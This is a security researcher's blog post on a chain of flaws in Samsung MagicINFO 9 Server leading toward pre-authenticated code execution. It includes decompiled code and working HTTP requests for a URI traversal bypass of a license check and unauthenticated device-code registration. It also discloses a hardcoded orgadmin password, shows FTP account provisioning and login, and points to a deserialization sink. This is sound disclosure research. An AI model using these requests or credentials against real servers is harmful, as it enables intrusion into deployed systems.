One weekend, I decided to unpack some of the patches that Samsung have been sending out for their MagicINFO 9 solution. During this process, I discovered multiple vulnerabilities that when chained, achieve pre-authenticated remote code execution. However, along the way, I hit a few failures and I wanted to share them in this blog post so that ~~I don’t feel alone~~ my fellow researchers don’t feel alone. Don’t worry, we will finish off part 2 of this blog post series with a pre-authenticated remote code execution!

Many people ask me; how do you choose your software to target? I must confess, this is a weak area for me. I typically just pick software that has a history of high impact vulnerabilities and that is fairly widely deployed because I wish to save the creative drive for the audit itself and I choose not to be a victim of analysis paralysis. Luckly these days I’m told the targets so this becomes even easier!

One such target came to my attention, Samsung MagicINFO 9 Server. In July 2025, there was 18 high impact vulnerabilities (here is an example) released in the software and I became curious as to what the bugs were and how they were patched. The question (or challenge rather) I present myself is; Are there any pre-auth remote code execution vulnerabilities that were missed from the previous audit? I also ask questions like; How much exposure does this product have?

A quick look on Shodan reveals ~6,683 exposed servers, some of course are honeypots but it does give an idea of impact. While the software itself doesn’t appear to hold any important information, gaining a foothold to pivot into an internal network without user interaction seems enticing. Onwards with the challenge!

Version

Bugs

Today we are going to discuss the following bugs:

SRC-2025-0001 - Samsung MagicINFO 9 Server ResponseBootstrappingActivity Exposed Dangerous Method Remote Code Execution Vulnerability
SRC-2025-0002 - Samsung MagicINFO 9 Server Hard-coded Credentials Local Privilege Escalation Vulnerability

Analysis

For this bug chain, were going to have to analyse a previous bug CVE-2025-54455. This bug impacts version <= 21.1040.2. This took me some serious effort because this component was using a custom SOAP protocol and works on many Java layers. More on that in the next blog post, however it boils down to vulnerable code inside of the com.samsung.magicinfo.framework.device.service.bootstrap.ResponseBootstrappingActivity class:

/*     */   public Object process(HashMap params) throws ServiceException {
/*  66 */     resultAppBO = null;
/*     */     try {
/*     */     // ...
/* 615 */       if (useFtpPassword7) { // 1
/* 616 */         BaseUser user = new BaseUser();
/* 617 */         String v7PasswordKey = current_time + deviceId + SecurityUtils.getFtpSecretKeyV7(); // 2
/* 618 */         String encPass = SecurityUtils.getHashSha(v7PasswordKey, 16, 2); 3
/* 619 */         user.setName(deviceId); // 4
/* 620 */         user.setPassword(encPass); // 5
/* 622 */         UserManager userMgr = (new databaseUserManagerFactory()).createUserManager();
/* 623 */         userMgr.save(user); // 6
/* 624 */         logger.error("[MagicInfo_Bootstrap][" + deviceId + "][FTP REGISTERING] DeviceTypeVersion is : " + deviceTypeVersion + " v7_password : " + encPass);
/* 625 */       }

At [1] we can set useFtpPassword7 to be true. At [2] the code extracts a hardcoded password from the database and builds the v7PasswordKey variable using the current timestamp, deviceId and hardcoded key. At [3] the string is hashed using sha256 and then the first 16 chars are extracted to become the password. Then at [4] the username is set on a new user using the deviceId. At [5] the constructed password is set on the BaseUser class and finally at [6] the FTP account is written to the database.

Can you spot the issue? The password is known because the timestamp is returned in the response! OK fair call, I didn’t show you the response object but it’s likely predictable anyway or the attacker could have used the server date header no doubt. With that, the attacker can generate the password with predictable values. The current_time and device_id are known coupled with the hardcoded FtpSecretKeyV7 value. Once the attacker is logged in, they can upload a backdoor that is triggered on a server restart. Other attacks exist, and they will be documented in part 2 so be sure to stick around!

Upon studying the patched version of ResponseBootstrappingActivity, we can see the following code:

/* 611 */       if (hashAlgo != null) { // 1
/* 612 */         DeviceCode deviceCode = deviceDao.getDeviceCode(deviceId); // 2
/* 613 */         if (deviceCode != null) {
/* 614 */           if (RESTDeviceUtils.isSupportNewProtocol(hashAlgo, device_type, deviceTypeVersion)) {
/* 615 */             String token = RESTDeviceUtils.makeToken(deviceId); // 3
/* 616 */             BaseUser user = new BaseUser();
/* 617 */             user.setName(deviceId); // 4
/* 618 */             user.setPassword(token); // 4
/* 619 */             UserManager userMgr = (new databaseUserManagerFactory()).createUserManager();
/* 620 */             userMgr.save(user); // 5
/* 621 */             logger.error("[MagicInfo_Bootstrap][" + deviceId + "][FTP REGISTERING] DeviceTypeVersion is : " + deviceTypeVersion);
/*     */           } else {
/* 624 */             logger.error("[MagicInfo_Bootstrap][" + deviceId + "] Device firmware downgraded to old");
/* 625 */             deviceDao.invalidateDeviceCode(deviceId);
/*     */           } 
/*     */         }

At [1] if we can set hashAlgo to something, we can reach [2]. This code calls getDeviceCode on the DeviceDao. This is essentially an ORM layer, mapped to appropriate xml files. The one we are concerned with is com/samsung/magicinfo/framework/device/deviceInfo/dao/DeviceDaoMapper.xml:

    <select id="getDeviceCode" resultType="com.samsung.magicinfo.framework.device.deviceInfo.entity.DeviceCode">
        SELECT * FROM MI_DMS_INFO_DEVICE_CODE WHERE DEVICE_ID = #{deviceId}
    </select>

This MI_DMS_INFO_DEVICE_CODE table is empty upon a fresh install so we are going to have to solve that one. Moving along at [3], the code calls RESTDeviceUtils.makeToken.

/*     */   public static String makeToken(String deviceId) throws Exception {
/* 463 */     String token = "";
/*     */     try {
/* 465 */       token = DeviceSecurityManager.getAuthToken(deviceId);
/*     */     }
/* 467 */     catch (Exception e) {
/* 468 */       logger.error(e);
/*     */     } 
/* 470 */     return token;
/*     */   }

This code simply calls DeviceSecurityManager.getAuthToken and if we look at com.samsung.magicinfo.restapi.device.utils.DeviceSecurityManager we realize that the code now jumps into a native lib DeviceSecurityManager.dll.

/*    */ public class DeviceSecurityManager
/*    */ {
/*  9 */   static Logger logger = LoggingManagerV2.getLogger(DeviceSecurityManager.class);
/* 11 */   private static File libraryFile = null;
/*    */   static  {
/*    */     try {
/* 15 */       magicInfoHome = System.getenv("MAGICINFO_PREMIUM_HOME");
/* 16 */       String libraryPath = "";
/* 17 */       if (magicInfoHome != null && !magicInfoHome.equals(""))
/* 18 */         libraryPath = magicInfoHome + File.separator + "bin" + File.separator + "DeviceSecurityManager.dll"; 
/* 19 */       libraryFile = new File(libraryPath);
/* 20 */       if (libraryFile.exists()) {
/* 21 */         System.load(libraryFile.getPath());
/*    */       }
/* 23 */       logger.info("[DeviceSecurityManager][getPassword] : Loaded Library " + libraryFile.getPath());
/* 24 */     } catch (Exception e) {
/* 25 */       logger.error("[DeviceSecurityManager][getPassword] : Error in Loading Library " + e.getMessage());
/*    */     } 
/*    */   }
/*    */   public static String getAuthToken(String deviceId) {
/* 30 */     String token = "";
/*    */     try {
/* 32 */       token = getToken(deviceId);
/* 33 */     } catch (Exception e) {
/* 34 */       logger.error("[DeviceSecurityManager][getPassword] : " + e.getMessage());
/*    */     } 
/* 36 */     return token;
/*    */   }
/*    */   private static native String getToken(String paramString);
/*    */ }

Let’s break down the problems that the attacker is faced with to successfully add an ftp account with a known password:

Can we influence hashAlgo ?
Can we populate the MI_DMS_INFO_DEVICE_CODE table?
Can we discover what DeviceSecurityManager.getAuthToken is doing?

Problem 1 - Influencing hashAlgo

/* 332 */         if (cpu_type != null && cpu_type.contains(";")) { // 1
/* 333 */           String[] arrVals = cpu_type.split(";");
/*     */           try {
/* 335 */             if (arrVals.length > 1) {
/* 336 */               temp_cpu_type = arrVals[1];
/*     */             }
/* 338 */             if (arrVals.length >= 3) {
/* 339 */               hashAlgo = arrVals[2]; // 2
/*     */             } else {
/* 342 */               hashAlgo = "";
/*     */             }

If we can influence cpu_type at [1] then we can set hashAlgo at [2]. As it turns out, cpu_type is set from out incoming SOAP body:

/* 204 */       String cpu_type = rs.getString(".MO.MONITOR_OPERATION.BOOTSTRAP.CPU_TYPE");

Don’t ask me how I know this, many hours of debugging.

Problem 2 - Populating the MI_DMS_INFO_DEVICE_CODE table

The solution to this problem is quite simple. Find the corresponding insert statement from the same DeviceDao:

    <insert id="addDeviceCode">
        INSERT INTO MI_DMS_INFO_DEVICE_CODE
        ( DEVICE_ID, UNIQUE_CODE, IS_VALID ) VALUES ( #{deviceId} , #{code}, <include refid="utils.true" /> );
    </insert>

Looking for calls to addDeviceCode we see a nice hit inside of com.samsung.magicinfo.restapi.device.service.V2DeviceSecurityServiceImpl:

/*     */   public boolean setUniqueCode(String code, String deviceId) throws Exception {
/* 549 */     DeviceInfo deviceDao = DeviceInfoImpl.getInstance();
/* 550 */     DeviceCode deviceCode = deviceDao.getDeviceCode(deviceId);
/* 551 */     if (deviceCode != null && !deviceCode.checkIs_valid()) {
/* 552 */       return false;
/*     */     }
/* 554 */     if (deviceCode != null) {
/* 555 */       EncryptionManager encMgr = EncryptionManagerImpl.getInstance();
/* 556 */       String encCode = deviceCode.getUnique_code();
/* 557 */       String actualCode = encMgr.getDecryptionPassword("", encCode);
/* 558 */       if (!actualCode.equals(code) && deviceCode.checkIs_valid()) {
/* 559 */         deviceDao.invalidateDeviceCode(deviceId);
/*     */       }
/* 561 */       return false;
/*     */     } 
/* 565 */     EncryptionManager encMgr = EncryptionManagerImpl.getInstance();
/* 566 */     String encryptPwd = encMgr.getEncryptionPassword("", code);
/* 567 */     deviceDao.addDeviceCode(encryptPwd, deviceId); // 1
/* 568 */     return true;
/*     */   }

At [1] the setUniqueCode function calls addDeviceCode and is reachable from the rest API class com.samsung.magicinfo.restapi.device.controller.V2DeviceSecurityController

/*     */   @PostMapping({"/{deviceId}/init"})
/*     */   public ResponseEntity<String> registerUniqueCode(@PathVariable(value = "deviceId", required = true) @NotEmpty @NotNull String deviceId, @RequestBody Map<String, String> body) throws Exception {
/* 262 */     this.logger.info("[REST_v2.0][Device][RegisterUniqueCode]: start for deviceID " + deviceId);
/* 263 */     if (!RESTDeviceUtils.isValidDeviceId(deviceId)) {
/* 264 */       this.logger.error("[REST_v2.0][Device][RegisterUniqueCode] end for deviceID " + deviceId + " Invalid deviceID");
/* 265 */       return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("Invalid deviceID");
/*     */     } 
/* 267 */     String UniqueCode = (String)body.get("data");
/* 268 */     if (StringUtils.isBlank(UniqueCode) || UniqueCode.length() != 20) { // 2
/* 269 */       this.logger.error("[REST_v2.0][Device][RegisterUniqueCode] end for deviceID " + deviceId + " Invalid input");
/* 270 */       return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("Invalid Input");
/*     */     } 
/* 272 */     boolean res = this.v2DeviceSecurityService.setUniqueCode(UniqueCode, deviceId); // 3
/* 273 */     if (res) {
/* 274 */       this.logger.info("[REST_v2.0][Device][RegisterUniqueCode] end for deviceID " + deviceId + " registered");
/* 275 */       return ResponseEntity.ok().build();
/*     */     } 
/* 277 */     this.logger.info("[REST_v2.0][Device][RegisterUniqueCode] end for deviceID " + deviceId + " Already there");
/* 278 */     return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Already Present");
/*     */   }

At [2] there is a check that the device_code is of length 20 and then at [3] setUniqueCode is called. Below is the corresponding API mapping:

/*     */ @Api(value = "Device Management System", description = "Operations pertaining to device in Device Management System", tags = {"Device API Group"})
/*     */ @RestController
/*     */ @Validated
/*     */ @ApiVersion({2.0D})
/*     */ @RequestMapping({"/restapi/v2.0/rms/devices"})
/*     */ public class V2DeviceSecurityController

It’s interesting to note that the registerUniqueCode method is not decorated with any authentication/authorization unlike, for example the getSecurityInfo method:

/*     */   @ApiOperation(value = "get security control info", notes = "...", authorizations = {@Authorization("api_key")}, tags = {"Device API Group"})
/*     */   @ApiImplicitParams({@ApiImplicitParam(name = "deviceIds", value = "Value of device IDs.", required = true, dataType = "V2CommonIds")})
/*     */   @PostMapping(value = {"/security-info"}, produces = {"application/json"})
/*     */   public ResponseEntity<ResponseBody<V2CommonBulkResultResource<DeviceSecurityConfResource, String>>> getSecurityInfo(@Valid @RequestBody V2CommonIds deviceIds) throws Exception {

Which means up to this point, everything is unauthenticated! Reaching this method though is a little tricky.

Request:

POST /MagicInfo/restapi/v2.0/rms/devices/[device_id]/init HTTP/1.1
Host: [target]:7002
Content-Length: 33
accept: application/json
Content-Type: application/json

{
    "data":"AAAAAAAAAAAAAAAAAAAA"
}

Response:

HTTP/1.1 405 Method Not Allowed
...
Content-Type: application/json;charset=UTF-8
Date: Wed, 13 Aug 2025 03:45:53 GMT
Server: MagicInfo Premium Server
Content-Length: 125

{
    "apiVersion":"2.0",
    "status":"Fail",
    "items":null,
    "errorCode":"405",
    "errorMessage":
    "Method Not Allowed",
    "isOutDoorSBox":false
}

Hang on, /MagicInfo/restapi/v2.0/rms/devices/[device_id]/init is a mapped URL, what is happening? Well it turn out that the code injects a pointcut advice class using com.samsung.magicinfo.framework.common.LicenseCheckingAspect:

/*     */   @Around("within(com.samsung.magicinfo.restapi..*) && @within(org.springframework.web.bind.annotation.RestController)")
/*     */   public Object checkLicense(ProceedingJoinPoint joinPoint) throws Throwable {
/*  44 */     if (this.freeUriList == null || this.freeUriList.isEmpty()) {
/*  45 */       synchronized (this.freeUriList) {
/*  46 */         initialize();
/*     */       } 
/*     */     }
/*  50 */     HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.getRequestAttributes()).getRequest(); // 1
/*  51 */     if (!checkFreeUri(request.getRequestURI())) { // 2
/*  52 */       String signatureStr = joinPoint.getSignature().toString();
/*  53 */       ResponseBody responseBody = new ResponseBody();
/*  54 */       responseBody.setApiVersion("2.0");
/*  55 */       if (!CommonUtils.checkAvailable(getMenu(signatureStr))) {
/*  56 */         responseBody.setStatus("Fail");
/*  57 */         responseBody.setErrorCode(ExceptionCode.HTTP405[0]);
/*  58 */         responseBody.setErrorMessage(ExceptionCode.HTTP405[2]);
/*  59 */         return new ResponseEntity(responseBody, HttpStatus.METHOD_NOT_ALLOWED);
/*     */       } 
/*     */     }
/*  63 */     return joinPoint.proceed();
/*     */   }

At [1] the code gets the current incoming request object and then at [2] it calls checkFreeUri with the result of getRequestURI. Anyone that has taken my FSWA class knows where this is going already :->

/*     */   private void initialize() {
/*  79 */     if (this.freeUriList == null) {
/*  80 */       this.freeUriList = new ArrayList();
/*     */     }
/*  83 */     if (this.freeUriList.isEmpty()) {
/*  85 */       this.freeUriList.add("restapi/v2.0/ems/dashboard");
/*  86 */       this.freeUriList.add("restapi/v2.0/rms/devices/device-types");
/*  87 */       this.freeUriList.add("restapi/v2.0/sms/system/menus");
/*  88 */       this.freeUriList.add("restapi/v2.0/ems/settings/my-account");
/*  89 */       this.freeUriList.add("restapi/v2.0/ems/dashboard/notices");
/*  90 */       this.freeUriList.add("restapi/v2.0/ems/dashboard/loggedin-user");
/*  91 */       this.freeUriList.add("restapi/v2.0/ems/settings/logs/system-logs/filter");
/*  92 */       this.freeUriList.add("restapi/v2.0/ems/settings/logs/alarm-mail-logs");
/*  93 */       this.freeUriList.add("restapi/v2.0/ums");
/*  94 */       this.freeUriList.add("restapi/v2.0/ems/settings");
/*  95 */       this.freeUriList.add("restapi/v2.0/auth");
/*  96 */       this.freeUriList.add("restapi/v2.0/edge");
/*  97 */       this.freeUriList.add("restapi/v2.0/rms/devices/filter");
/*  98 */       this.freeUriList.add("restapi/v2.0/sms/system/alerts");
/*  99 */       this.freeUriList.add("restapi/v2.0/sms/system/configs");
/* 100 */       this.freeUriList.add("restapi/v2.0/cms/contents/thumbnails");
/*     */     } 
/*     */   }
/*     */   private boolean checkFreeUri(String requestUri) {
/* 105 */     for (String uri : this.freeUriList) {
/* 106 */       if (requestUri.contains(uri)) { // 3
/* 107 */         this.logger.info("License-Free URI : " + requestUri);
/* 108 */         return true;
/*     */       } 
/*     */     } 
/* 111 */     return false;
/*     */   }

At [3] there is a contains check that the URI has any of these strings. Turns out that getRequestURI doesn’t resolve traversals or URL encoding so we can bypass the check by providing the string restapi/v2.0/auth in the URI.

Request:

POST /MagicInfo/restapi/v2.0/auth/../rms/devices/[device_id]/init HTTP/1.1
Host: [target]:7002
Content-Length: 33
accept: application/json
Content-Type: application/json

{
    "data":"AAAAAAAAAAAAAAAAAAAA"
}

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-FRAME-OPTIONS: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'  blob:; img-src 'self' data:;worker-src blob:;
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Date: Wed, 13 Aug 2025 03:51:43 GMT
Server: MagicInfo Premium Server
Content-Length: 0

This sets the device_code to the string AAAAAAAAAAAAAAAAAAAA.

Problem 3 - Solving DeviceSecurityManager.getAuthToken

As it turns out, DeviceSecurityManager.getAuthToken calls back into the Java layer and generates the password like so: [timestamp][device_id]\x01\x16\x1a\x02\x14\x13\x12\x11\x03[device_code]. The \x01\x16\x1a\x02\x14\x13\x12\x11\x03 value is the same hardcoded key stored in the database.

This device_code is also known because it’s the same code we used for problem 2!

Device Approved

No sweat! We get some success here:

Logging in

Phew! Now that we constructed our ftp account and have a valid password, we can just login? Right? RIGHT? Well… inside of the org.apache.ftpserver.usermanager.impl.databaseUserManager we have another problem:

/*     */   public User authenticate(Authentication authentication) throws AuthenticationFailedException {
/* 238 */     lazyInit();
/* 240 */     if (authentication instanceof UsernamePasswordAuthentication) {
/* 241 */       UsernamePasswordAuthentication upauth = (UsernamePasswordAuthentication)authentication;
/* 243 */       String user = upauth.getUsername();
/* 244 */       String password = upauth.getPassword();
/* 246 */       if (user == null) {
/* 247 */         throw new AuthenticationFailedException("Authentication failed");
/*     */       }
/* 250 */       if (password == null) {
/* 251 */         password = "";
/*     */       }
/* 253 */       DownloadInfo dao = DownloadInfoImpl.getInstance();
/*     */       try {
/* 255 */         String databasePassword = "";
/*     */         try {
/* 258 */           if (isThisValidMISUser(user)) {
/* 259 */             throw new AuthenticationFailedException("FTP disabled for MIS users");
/*     */           }
/* 261 */           DeviceInfo deviceDao = DeviceInfoImpl.getInstance();
/* 262 */           boolean isDeviceApproved = deviceDao.getDeviceApprovalStatusByDeviceId(user); // 1
/* 263 */           if (!isDeviceApproved) {
/* 264 */             throw new AuthenticationFailedException("Authentication failed");
/*     */           }

Before the login occurs, at [1] there is a check that the device is approved with a call to getDeviceApprovalStatusByDeviceId. Looking at the DeviceDao corresponding mapper again, we see:

    <select id="getDeviceApprovalStatusByDeviceId"
            resultType="Boolean">
        SELECT IS_APPROVED FROM MI_DMS_INFO_DEVICE WHERE DEVICE_ID = #{deviceId}
    </select>

From a high level, when an attacker creates an ftp account via adding a device, the device isn’t approved, so the ftp account can’t login. Dam, almost. Going off a tangent here, but also note that an attacker can login with the hashed password (pass the hash bug) because of the fault in com.samsung.magicinfo.mvc.security.SimpleAuthenticationProvider classes validatePassword method.

Ahem, back to logging into the ftp service. Somewhere in the code though, the Samsung developers must set is_approved to true. The only location I found that was unauthenticated was in the com.samsung.magicinfo.framework.monitoring.service.ActivationServiceActivity class:

/*     */   public Object process(HashMap params) throws ServiceException {
/*  59 */     ResultSet rs = null;
/*     */     try {
/*  61 */       rs = (ResultSet)params.get("resultset");
/*     */       //...
/*  63 */       String deviceId = rs.getAttribute("DEVICE_ID"); // 1
/*  79 */       if (device != null && eventPath != null && eventPath.equals(".MO.MONITORING_INFO.ACTIVATION"))
/*     */       {
/*  81 */         if (rs.getString(".MO.MONITORING_INFO.ACTIVATION.ACTIVATION_CODE") != null && 
/*  82 */           !rs.getString(".MO.MONITORING_INFO.ACTIVATION.ACTIVATION_CODE").equals("")) { // 2
/*  83 */           String activation_code = rs.getString(".MO.MONITORING_INFO.ACTIVATION.ACTIVATION_CODE");
/*  86 */           this.logger.error("[FET Activation Code] activation_code value " + activation_code);
/*  89 */           ActivationInfo acDao = ActivationInfoImpl.getInstance();
/*  93 */           if (acDao.isNewActivationCode(activation_code)) { // 3
/*     */             //...
/* 102 */             return driver.createAppBOForResponse(rmql);
/*     */           } 
/* 106 */           this.logger.error("[Activation Code] this is saved AC " + activation_code);
/* 108 */           ActivationEntity aEntity = acDao.getActivationInfo(activation_code);
/* 109 */           int comp = aEntity.getExpired_date().compareTo(new Timestamp(System.currentTimeMillis()));
/* 110 */           if (comp < 0) { // 4
/*     */             //...
/* 121 */             return driver.createAppBOForResponse(rmql);
/*     */           } 
/*     */           //...
/* 199 */                 Map param = new HashMap();
/* 200 */                 param.put("device_name", autoDevNamePrefix);
/* 201 */                 param.put("device_id", deviceId);
/* 202 */                 param.put("device_type", device.getDevice_type());
/* 203 */                 param.put("group_id", basicDevGrpId);
/* 204 */                 param.put("current_group_id", Integer.valueOf(999999));
/* 205 */                 param.put("device_model_name", null);
/* 206 */                 param.put("location", "");
/* 207 */                 param.put("is_approved", Boolean.valueOf(true)); // 5
/* 208 */                 param.put("calDate", "");
/* 209 */                 param.put("orgGroupId", devOrgGrpId);
/* 210 */                 int seq = deviceInfo.setApprovalWithSeq(param);
/* 212 */                 String autoDevName = autoDevNamePrefix + "_" + String.format("%04d", new Object[] { Integer.valueOf(seq) }) + "_" + deviceId;
/* 213 */                 this.logger.error("[Activation Code] autoDevName " + autoDevName);
/*     */                 
/* 215 */                 DeviceUtils.approveDevice("", basicDevGrpId, autoDevName, "", deviceId, null, "sessionId", "admin", "", "", "activationService"); // 6

At [1] the DEVICE_ID is controlled in the incoming request. At [2] the provided mo_path for .MO.MONITORING_INFO.ACTIVATION.ACTIVATION_CODE must be set. This will be important later. At [3] isNewActivationCode is called on the attacker controlled activation_code. This is defined in the ActivationDao mapper located at com/samsung/magicinfo/framework/setup/dao/ActivationDaoMapper.xml:

    <select id="isNewActivationCode" resultType="long">
        SELECT COUNT(ACTIVATION_CODE) FROM MI_SAAS_INFO_ACTIVATION_CODE
        WHERE ACTIVATION_CODE = #{activationCode}
    </select>

Whoops! turns out, that is also missing from the database. If this returns true then we have an early return, not ideal. Let’s fix that problem later, continuing on we can reach [4] and ensure that the activation_code isn’t expired. If the activation code is expired, we get another early return. Finally, upon passing all checks we are able to reach [5] which sets the device to approved and at [6] updates the database. Looks like we need to insert an activation code. Looking at the ActivationDao mapper, we can see:

    <insert id="addActivationInfo">
        INSERT INTO MI_SAAS_INFO_ACTIVATION_CODE
        (ACTIVATION_CODE, ORGAN_ID, EXPIRED_DATE, CREATE_DATE, LAST_MODIFIED_DATE)
        VALUES (#{entity.activation_code}, #{entity.organ_id}, #{entity.expired_date},
        <include refid="utils.currentTimestamp" />
        ,
        <include refid="utils.currentTimestamp" />
        )
    </insert>

Essentially, we are looking for calls to addActivationInfo. There are 3 calls to this method in the codebase. Inside of the com.samsung.magicinfo.openapi.custom.service.CommonUserService class we can see 2 of the calls coming from the acceptContractforNoc method. This method only works if the MI_USER_MAP_USER_CONTRACT table is populated by calling addUserContractMap. (Un)fortunately that method is never called in the code, which leaves a dead end.

The last resort is the com.samsung.magicinfo.openapi.custom.service.CommonSettingService class:

/*     */   public String addActivationInfo(Long organ_id, String expired_date_str) throws OpenApiServiceException {
/* 461 */     if (!this.canReadActivationCode) // 1
/*     */     {
/* 463 */       throw new OpenApiServiceException(OpenApiExceptionCode.E401[0], OpenApiExceptionCode.E401[1]);
/*     */     }
/* 468 */     boolean canReadAuth = this.user.checkAuthority("Server Setup Manage"); // 2
/* 470 */     if (!canReadAuth) {
/* 471 */       throw new OpenApiServiceException(OpenApiExceptionCode.U110[0], OpenApiExceptionCode.U110[1]);
/*     */     }
/* 475 */     ActivationInfo acInfo = ActivationInfoImpl.getInstance();
/* 477 */     String newActivationCode = null;
/* 478 */     int ret = 0;
/*     */     try {
/* 480 */       SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
/* 481 */       Date date = sdf.parse(expired_date_str + " 23:59:59");
/* 482 */       Timestamp expired_date = new Timestamp(date.getTime());
/* 484 */       ActivationEntity acEntity = new ActivationEntity();
/* 486 */       acEntity.setOrgan_id(organ_id);
/* 487 */       acEntity.setExpired_date(expired_date);
/* 489 */       newActivationCode = acInfo.genNewActivationCode();
/* 490 */       acEntity.setActivation_code(newActivationCode);
/* 492 */       ret = acInfo.addActivationInfo(acEntity);
/*     */     }
/* 494 */     catch (Exception e) {
/* 495 */       logger.error("", e);
/*     */     } 
/* 498 */     if (ret > 0) {
/* 499 */       return newActivationCode; // 3
/*     */     }
/* 501 */     return "FAIL";
/*     */   }

Up until this point, everything was pre-authenticated so I was excited to chase the rabbit hole. However, now we are presented with another 3 problems:

Inside of the C:/MagicInfo Premium/server/WEB-INF/openapi_service_config.xml file, we find the definition with the noAuthCheck attribute set to false. This means that authentication is required.

            <method enable="true" name="addActivationInfo" noAuthCheck="false" requireDeviceType="false" requireUserInfo="false" show="true">
                <documentation>addActivationInfo</documentation>
                <form>GET</form>
                <returnType>
                    <type>class java.lang.String</type>
                    <documentation>Generated activation code</documentation>
                </returnType>
                <parameters>
                    <param paramName="organ_id" type="class java.lang.Long" xmlTransferable="false">
                        <documentation>user organization id</documentation>
                    </param>
                    <param paramName="expired_date_str" type="class java.lang.String" xmlTransferable="false">
                        <documentation>YYYY-MM-DD</documentation>
                    </param>
                </parameters>
            </method>

The next hurdle is that at [1] we see a check on canReadActivationCode:

/*     */   private boolean canReadActivationCode = false;
/*     */   public CommonSettingService() {
/*     */     try {
/*  82 */       this.canReadActivationCode = StrUtils.nvl(CommonConfig.get("saas.ac.enable")).equals("true");
/*  83 */     } catch (ConfigException configException) {}
/*     */   }

This is a non-default setting, only used for Samsungs cloud environment and I couldn’t find a way to dynamically update the settings (that would have been a fun bug). So inside of C:/MagicInfo Premium/conf/config.properties we will need the setting: saas.ac.enable = true.

The final hurdle is that at [2] the code checks that the logged in user has Server Setup Manage permission. This means, we probably need an admin user to pull all this off.

This is where I almost gave up, we had all the keys to the puzzle up until this point all the requests were pre-authenticated and now the attack chain will require authentication as an admin user coupled with a non-default configuration. I would audited the authentication mechanism and attempted an authentication bypass however would still have had the non-default config problem. Alas! I’m an optimist and as it turns out, authentication doesn’t seem to be too much of a problem because there is a somewhat hidden account called orgadmin. This is not documented anywhere online. I even asked old mate AI with my poor prompting skills and they said they don’t even know anything about it either!

Turns out though, that the default hardcoded password is orgadmin2016. Who would have guessed? I had to be sure though, so I may or may not have verified externally.

Interesting to note that on newer versions, that is 21.1080.0 and above the REST API have enforced users to enable two factor by default when logging in.

However when using the MISLoginController via the MagicInfoWebAuthorClient application, we dont have to submit any second factor. So, the flow to construct an activation code looks like this.

Request:

POST /MagicInfoWebAuthorClient/main HTTP/1.1
Host: [target]:7002
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

username=orgadmin&password=orgadmin2016

Response:

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=DC96A6C5E8C9E03B6FE1DDA9C647626E; Path=/MagicInfoWebAuthorClient; Secure; HttpOnly
Set-Cookie: user=JGFkOGIwNDNkZmY1YzdmMjgkdA==; HttpOnly
Cache-Control: no-store
Content-Type: application/json;charset=UTF-8
Content-Language: en
Date: Wed, 13 Aug 2025 05:38:52 GMT
Server: MagicInfo Premium Server
Content-Length: 40

{
    "token":"JGFkOGIwNDNkZmY1YzdmMjgkdA=="
}

Request:

POST /MagicInfo/openapi/open?service=CommonSettingService.addActivationInfo&organ_id=1&expired_date_str=2222-01-01&token=JGFkOGIwNDNkZmY1YzdmMjgkdA%3d%3d HTTP/1.1
Host: [target]:7002
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Response:

HTTP/1.1 200 OK
...
Content-Type: text/xml;charset=UTF-8
Content-Language: en
Content-Length: 127
Date: Wed, 13 Aug 2025 00:19:46 GMT
Server: MagicInfo Premium Server

<?xml version="1.0" encoding="UTF-8" ?>
<response code="0">
  <responseClass class="String">1335518</responseClass>
</response>

Now we have a valid activation_code. Using this code when making a request targeting the com.samsung.magicinfo.framework.monitoring.service.ActivationServiceActivity class and setting the mo_path for .MO.MONITORING_INFO.ACTIVATION.ACTIVATION_CODE to the valid value, meaning we can provision the ftp account and finally login!

steven@DESKTOP-DHOMH1S:~$ curl ftp://Xn-WG-Rq-5x-HW-Vl:05b574474312b0c6@192.168.18.136
drwx------   3 user group            0 Aug 12 01:04 HTTPWarningPage
drwx------   3 user group            0 Aug 12 01:04 admin
drwx------   3 user group            0 Aug 12 01:05 capture
drwx------   3 user group            0 Aug 12 01:05 contents_home
drwx------   3 user group            0 Aug 12 01:12 evt
drwx------   3 user group            0 Aug 12 01:12 face
drwx------   3 user group            0 Aug 12 01:05 jnlp
drwx------   3 user group            0 Aug 12 01:07 jobs_home
drwx------   3 user group            0 Aug 12 01:05 mdd
drwx------   3 user group            0 Aug 12 01:05 mofiles
drwx------   3 user group            0 Aug 12 01:12 pop
drwx------   3 user group            0 Aug 12 01:05 privacy_policy
drwx------   3 user group            0 Aug 12 01:05 schedule
drwx------   3 user group            0 Aug 12 01:05 validation
drwx------   3 user group            0 Aug 12 01:05 vwt

As a fun note, see if you can guess why I set the username to contain dashes!

Exploitation

Just creating an ftp account is useless because unless there is a traversal read/write within the ftp server, we are dead in the water. Unless, of course we can overwrite trusted files! Inside of the com.samsung.magicinfo.protocol.compiler.util.Deserializer class we see the following code:

/*    */ public class Deserializer
/*    */ {
/*    */   public static MOTree getMOTree(String serializedMOTreeFilePath) throws Exception {
/* 26 */     file = null;
/* 27 */     input = null;
/*    */     try {
/* 29 */       file = new FileInputStream(serializedMOTreeFilePath);
/* 30 */       input = new ObjectInputStream(file);
/* 31 */       MOTree moTree = (MOTree)input.readObject();
/* 32 */       return moTree;
/* 33 */     } catch (Exception e) {
/* 34 */       throw e;
/*    */     } finally {
/* 36 */       input.close();
/* 37 */       file.close();
/*    */     } 
/*    */   }
/*    */ 
/*    */   
/*    */   public static MONodeConstraints getMONodeConstraints(String serializedMONodeConstraintsFilePath) throws Exception {
/* 43 */     file = null;
/* 44 */     input = null;
/*    */     try {
/* 46 */       file = new FileInputStream(serializedMONodeConstraintsFilePath);
/* 47 */       input = new ObjectInputStream(file);
/* 48 */       MONodeConstraints moNodeConstraints = (MONodeConstraints)input.readObject();
/* 49 */       return moNodeConstraints;
/* 50 */     } catch (Exception e) {
/* 51 */       throw e;
/*    */     } finally {
/* 53 */       input.close();
/* 54 */       file.close();
/*    */     } 
/*    */   }
/*    */ }

